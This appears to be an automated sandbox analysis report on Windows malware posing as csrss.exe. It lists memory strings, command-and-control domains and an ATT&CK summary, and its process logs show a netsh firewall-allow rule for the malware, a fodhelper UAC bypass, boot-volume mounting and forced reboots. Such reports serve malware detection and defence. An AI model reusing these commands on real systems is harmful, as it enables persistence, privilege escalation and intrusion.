Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: to unallocated span%%!%c(*big.Float=%s)%s\Sysnative\cmd.exe37252902984619140625Arabic Standard TimeAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWDHT has wrong lengthDQT has wrong lengthDRI has wrong lengthEgyptian_HieroglyphsEnumProcessModulesExFileTimeToSystemTimeGetAcceptExSockaddrsGetAdaptersAddressesGetCurrentDirectoryWGetFileAttributesExWGetModuleFileNameExWGetModuleInformationGetProcessMemoryInfoGetWindowsDirectoryWIDS_Trinary_OperatorInsufficient StorageIsrael Standard TimeJordan Standard TimeMAX_HEADER_LIST_SIZEMalformed JSON errorMediapartners-GoogleMeroitic_HieroglyphsNtUnmapViewOfSectionNtWriteVirtualMemoryOffline Explorer/2.5ProcessIdToSessionIdQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWRequest URI Too LongRtlInitUnicodeStringSHGetKnownFolderPathSOF has wrong lengthSOS has wrong lengthSafeArrayDestroyDataSafeArrayGetElemsizeSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationSetVolumeMountPointWTaipei Standard TimeTerminal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection error: %sconnection timed outcouldn't disable DSEcouldn't get IsAdmincouldn't get serverscouldn't run servicecouldn't set IsAdmincouldn't set serverscouldn't stop PsaSvccouldn't write patchelectrum.hsmiths.comelectrum.taborsky.czelectrum.villocq.comflag: help requestedfloating point errorforcegc: phase errorgc_trigger underflowgetadaptersaddressesgo of nil func valuegopark: bad g statusgzip: invalid headerheader line too longhttp2: stream closedinvalid repeat countinvalid request codeis a named type filejson: Unmarshal(nil json: Unmarshal(nil)key has been revokedmSpanList.insertBackmalformed ciphertextmalloc during signalmultiple SOF markersno such struct fieldnon-empty swept listnorm: invalid whencenot an integer classnotetsleep not on g0number has no digitsnumber of componentsp mcache not flushedpacer: assist ratio=pad length too largepreempt off reason: reflect.Value.SetIntreflect.makeFuncStubrequest file CDN: %wroot\SecurityCenter2runtime: casgstatus runtime: double waitruntime: unknown pc semaRoot rotateRightshort segment lengthsystemdrive is emptytime: invalid numbertrace: out of memoryunexpected network: unknown address typeuser is not an adminverifier host cachedwirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundzlib: invalid header gp.gcscanvalid=true
Source: csrss.exe	Binary or memory string: time: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) wo
Source: csrss.exe, 00000000.00000002.332681702.0000000004000000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	Binary or memory string: ameNewaPINGPOSTQEMUROOTHIT!u
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: 100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad Pq valuebad Ta valuebad Tc valuebad Td valuebad Th valuebad Tq valuebad flushGenbad g statusbad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegc
Source: csrss.exe, 00000000.00000002.332681702.0000000004000000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	Binary or memory string: \\.\HGFS`
Source: csrss.exe, 0000000B.00000002.576923555.0000000003A12000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: csrss.exe	Binary or memory string: EndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*
Source: csrss.exe, 00000002.00000002.361508286.0000000015412000.00000004.00000001.sdmp	Binary or memory string: vboxtray.exevboxservice.exesmss.exevboxtray.exevboxservice.execsrss.exevboxtray.exevboxservice.exewininit.exevboxtray.exevboxservice.exe
Source: csrss.exe	Binary or memory string: ypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ... H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s*%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.we
Source: csrss.exe	Binary or memory string: llocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't
Source: csrss.exe	Binary or memory string: releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
Source: csrss.exe, 00000002.00000002.356396730.0000000003A00000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|
Source: csrss.exe	Binary or memory string: mAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup %+v m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6cha
Source: csrss.exe, 00000002.00000002.362742454.00000000154DC000.00000004.00000001.sdmp	Binary or memory string: dllhost.exesvchost.exesvchost.exesvchost.exesvchost.exesgrmbroker.exesvchost.exesvchost.execsrss.exesvchost.exexennet$
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_32.dll of size (targetpc= ErrCode=%v a.npages= b.npages= bytes ...
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	Binary or memory string: ?advapi32.dllRegQueryValueExWFirewallDefenderhttps://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMicrosoft Windows 10 ProOSArchitecturePatchTimeW8MONBU6OpenProcessTokenGetTokenInformationS-1-5-18c:\users\user\desktop\csrss.exec:\windows\rss\csrss.exeCreateToolhelp32Snapshotfontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exesmartscreen.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeSystemSettingsBroker.exesystemsettingsbroker.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exebackgroundTaskHost.exebackgroundtaskhost.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeSgrmBroker.exeTrustedInstaller.exetrustedinstaller.exeVBoxWddmCloseServiceHandleVBoxMouseVBoxGuestVBoxService\\.\VBoxGuest\\.\VBoxTrayIPC[System Process]vgauthservice.exeSystemvgauthservice.exeRegistryvgauthservice.exesmss.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exefontdrvhost.exevgauthservice.exefontdrvhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exedwm.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeMemory Compressionmemory compressionvgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeShellExperienceHost.exeshellexperiencehost.exevgauthservice.exevgauthservice.exeRuntimeBroker.exeruntimebroker.exevgauthservice.exesmartscreen.exevgauthse
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: NonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	Binary or memory string: tvmhgfsQ
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6chancoldcooldampdarkdatadatedawndeaddialdustermsetagfailfilefirefrogfromftpsfuncgziphazehillholyhosthourhttpicmpidleigmpint8jpegjsonkindlakelateleaflinklongmoonnonenullopenpathpinepipepondpop3quitrainreadsbrkseeksid=smtpsnowsse2sse3starsurftag:tcp4tcp6texttreetruetypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ...
Source: csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	Binary or memory string: yvmciwavewildwB
Source: csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	Binary or memory string: +x@Y}main.isRunningInsideVMWare
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: DSA-SHA1DecemberDefenderDeleteDCDuployanEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneJavaneseKatakanaKayah_LiLinear_ALinear_BLocationLsaCloseMahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexaddress bad instcgocheckcs darknessdefault:delicatednsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp exporterfinishedfragrantfs go1.13.3gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwuauservyuio.top (forced) blocked= defersc= in use)

Source: C:\Users\user\Desktop\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion:

Performs DNS TXT record lookups

Show sources

Source: Traffic	DNS traffic detected: queries for: trumops.com
Source: Traffic	DNS traffic detected: queries for: logs.trumops.com
Source: Traffic	DNS traffic detected: queries for: fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.com
Source: Traffic	DNS traffic detected: queries for: e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com

Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe ""	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 928	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1240 -ip 1240	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 828	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2060 -ip 2060	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 704	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5892 -ip 5892	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 676	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6132 -ip 6132	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\rss\csrss.exe "C:\Windows\rss\csrss.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"

Source: csrss.exe, 0000000B.00000002.583043384.0000000035F90000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: csrss.exe, 0000000B.00000002.583043384.0000000035F90000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: csrss.exe, 0000000B.00000002.583043384.0000000035F90000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: csrss.exe, 0000000B.00000002.583043384.0000000035F90000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\csrss.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

Modifies the windows firewall

Show sources

Source: C:\Users\user\Desktop\csrss.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

Source: C:\Users\user\Desktop\csrss.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Remote Access Functionality:

Yara detected Metasploit Payload

Show sources

Source: Yara match	File source: 41.2.csrss.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.csrss.exe.4500e50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.csrss.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.csrss.exe.4500e50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.csrss.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.csrss.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.csrss.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.csrss.exe.4500e50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.4500e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.csrss.exe.4500e50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.4500e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.csrss.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.csrss.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.4500e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.csrss.exe.4500e50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.csrss.exe.4500e50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.csrss.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.4500e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.csrss.exe.4500e50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.csrss.exe.4500e50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.csrss.exe.4500e50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.csrss.exe.4500e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.csrss.exe.4500e50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.csrss.exe.4db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.csrss.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.4500e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.385976066.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.402884568.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.430632595.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.446579915.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.402674453.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.427738761.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.424595054.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.438199758.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.425815440.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.445299173.000000000518A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.449242939.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.454322198.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.573428133.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.427208507.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.433700277.0000000004500000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.413315697.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.577731053.0000000004500000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Scheduled Task/Job1	Process Injection12	Masquerading33	Credential API Hooking1	Security Software Discovery231	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Command and Scripting Interpreter2	Registry Run Keys / Startup Folder11	Scheduled Task/Job1	Disable or Modify Tools2	Input Capture1	Virtualization/Sandbox Evasion2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer13	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Logon Script (Windows)	Registry Run Keys / Startup Folder11	Virtualization/Sandbox Evasion2	Security Account Manager	Process Discovery12	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol25	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Proxy1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing211	Cached Domain Credentials	System Information Discovery24	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
